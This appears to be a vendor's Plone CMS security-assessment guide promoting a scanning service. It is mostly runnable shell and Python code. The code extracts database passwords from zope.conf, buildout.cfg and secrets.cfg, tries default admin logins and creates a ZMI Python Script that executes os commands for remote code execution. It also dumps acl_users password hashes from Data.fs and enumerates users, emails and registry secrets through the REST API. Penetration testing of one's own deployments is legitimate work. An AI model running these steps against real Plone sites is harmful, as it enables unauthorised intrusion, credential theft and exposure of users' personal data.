Plone is a mature Python-based CMS built on the Zope application server, widely used in government, education, and enterprise. Key assessment areas: zope.conf or buildout.cfg exposes PostgreSQL or SQLite credentials; the Zope Management Interface (ZMI) at /manage provides unrestricted Python execution; acl_users stores SSHA or bcrypt password hashes; the Plone REST API at /plone/@users exposes user data; and Python Scripts in ZMI can execute arbitrary code with web server privileges. This guide covers systematic Plone CMS security assessment.
# Plone CMS — zope.conf and buildout.cfg credential extraction
PLONE_URL="https://site.example.com"
# zope.conf — Zope database and server configuration
grep -E "rel-storage|dsn|password|user|host|dbname" \
/var/www/plone/parts/instance/etc/zope.conf 2>/dev/null
python3 -c "
import re
cfg = open('/var/www/plone/parts/instance/etc/zope.conf').read()
# PostgreSQL RelStorage connection string (DSN format)
for m in re.finditer(r'dsn\s+(.+)', cfg):
dsn = m.group(1).strip()
pw = re.search(r'password=(\S+)', dsn)
if pw: print(f'PostgreSQL password: {pw.group(1)[:60]}')
# ZEO client configuration (connects to FileStorage over network)
for m in re.finditer(r'server\s+(.+)', cfg):
print(f'ZEO server: {m.group(1).strip()}')
" 2>/dev/null
# buildout.cfg — contains database passwords and secrets
grep -E "password|secret|key" /var/www/plone/buildout.cfg 2>/dev/null | head -10
# secrets.cfg (often gitignored but may exist on server)
cat /var/www/plone/secrets.cfg 2>/dev/null | head -20
# ZMI and Plone admin at /manage (Zope Management Interface)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${PLONE_URL}/manage" 2>/dev/null)
echo "/manage: HTTP ${STATUS}"
# Test default admin credentials
for CRED in "admin:admin" "admin:secret" "admin:plone"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${PLONE_URL}/manage" \
-u "${USER}:${PASS}" 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
done
# Plone ZMI Python Script RCE and REST API assessment
PLONE_URL="https://site.example.com"
ADMIN_PASS="admin-password"
# ZMI Python Script — arbitrary Python code execution (if admin access)
# ZMI > Python Scripts > Add a new Script
# Script with import os; return os.popen('id').read()
curl -s -X POST "${PLONE_URL}/manage_addProduct/PythonScripts/manage_addPythonScript" \
-u "admin:${ADMIN_PASS}" \
-d "id=test_exec&title=Test&body=import+os%3Breturn+os.popen('id').read()&REQUEST_METHOD=POST" \
2>/dev/null | head -5
# Execute the script
curl -s "${PLONE_URL}/test_exec" \
-u "admin:${ADMIN_PASS}" 2>/dev/null | head -3
# Plone REST API v1 — content and user enumeration
# GET /@users returns all users (admin auth required)
curl -s "${PLONE_URL}/plone/@users" \
-u "admin:${ADMIN_PASS}" \
-H "Accept: application/json" 2>/dev/null | \
python3 -c "
import json, sys
d = json.load(sys.stdin)
for u in d.get('items', []):
print(f' {u.get(\"id\")} — {u.get(\"fullname\")} — roles: {u.get(\"roles\")}')
" 2>/dev/null
# Plone @registry API — site configuration including secret keys
curl -s "${PLONE_URL}/plone/@registry" \
-u "admin:${ADMIN_PASS}" \
-H "Accept: application/json" 2>/dev/null | \
python3 -c "
import json, sys
d = json.load(sys.stdin)
items = d.get('items', [])
for item in items:
if any(k in item.get('name','').lower() for k in ['secret','key','password','token']):
print(f'{item[\"name\"]}: {str(item.get(\"value\",\"\"))[:60]}')
" 2>/dev/null
# Plone CMS — acl_users ZODB hash extraction and content analysis
ADMIN_PASS="admin-password"
PLONE_URL="https://site.example.com"
# ZODB file — Data.fs contains all Plone objects including credentials
# Direct extraction requires server filesystem access
python3 -c "
import ZODB, ZODB.FileStorage, transaction
storage = ZODB.FileStorage.FileStorage('/var/www/plone/var/filestorage/Data.fs')
db = ZODB.DB(storage)
conn = db.open()
root = conn.root()
app = root.get('Application', root)
try:
acl_users = app['acl_users']
# Plone uses PluggableAuthService (PAS)
source = acl_users.get('source_users', acl_users.get('users'))
if source and hasattr(source, '_user_passwords'):
for uid, pw_hash in source._user_passwords.items():
print(f' {uid}: {str(pw_hash)[:60]}')
except Exception as e:
print(f'error: {e}')
conn.close()
db.close()
" 2>/dev/null
# Plone REST API — user list with roles
curl -s "${PLONE_URL}/plone/@users?b_size=100" \
-u "admin:${ADMIN_PASS}" \
-H "Accept: application/json" 2>/dev/null | \
python3 -c "
import json, sys
d = json.load(sys.stdin)
for u in d.get('items', []):
roles = u.get('roles', [])
print(f'{u[\"id\"]} | {u.get(\"fullname\",\"\")} | {u.get(\"email\",\"\")} | {roles}')
" 2>/dev/null
# Plone @groups — group membership and roles
curl -s "${PLONE_URL}/plone/@groups" \
-u "admin:${ADMIN_PASS}" \
-H "Accept: application/json" 2>/dev/null | head -10
| Security Test | Method | Risk |
|---|---|---|
| ZMI /manage Python Script arbitrary code execution | Access /manage with admin credentials → create Python Script → import os; os.popen('id').read(); full RCE as Zope process user | Critical |
| zope.conf RelStorage PostgreSQL DSN password extraction | Read /var/www/plone/parts/instance/etc/zope.conf — dsn password= field; full database access to Plone content and users | Critical |
| acl_users SSHA or bcrypt hash extraction from ZODB Data.fs | Open Data.fs with ZODB library → traverse acl_users → extract _user_passwords dict; SSHA (SHA-1+salt) GPU-crackable, bcrypt resistant | High |
| Plone REST API /plone/@users user enumeration with roles | GET /plone/@users with admin Basic Auth — enumerate all users, email addresses, full names, and role assignments including Manager role holders | High |
| Plone @registry sensitive configuration key extraction | GET /plone/@registry with admin auth — API keys, service tokens, and integration credentials stored in Plone registry records | Medium |
Ironimo tests Plone CMS deployments for ZMI /manage web accessibility and IP restriction verification, zope.conf RelStorage PostgreSQL DSN password extraction, buildout.cfg and secrets.cfg credential exposure, default admin credential testing (admin/admin, admin/secret, admin/plone), Python Script RCE via authenticated ZMI access, acl_users ZODB SSHA or bcrypt hash extraction from Data.fs, Plone REST API /plone/@users user and role enumeration, @registry sensitive configuration key audit, inituser emergency user file detection, and Plone/add-on version disclosure for CVE cross-referencing.
Start free scan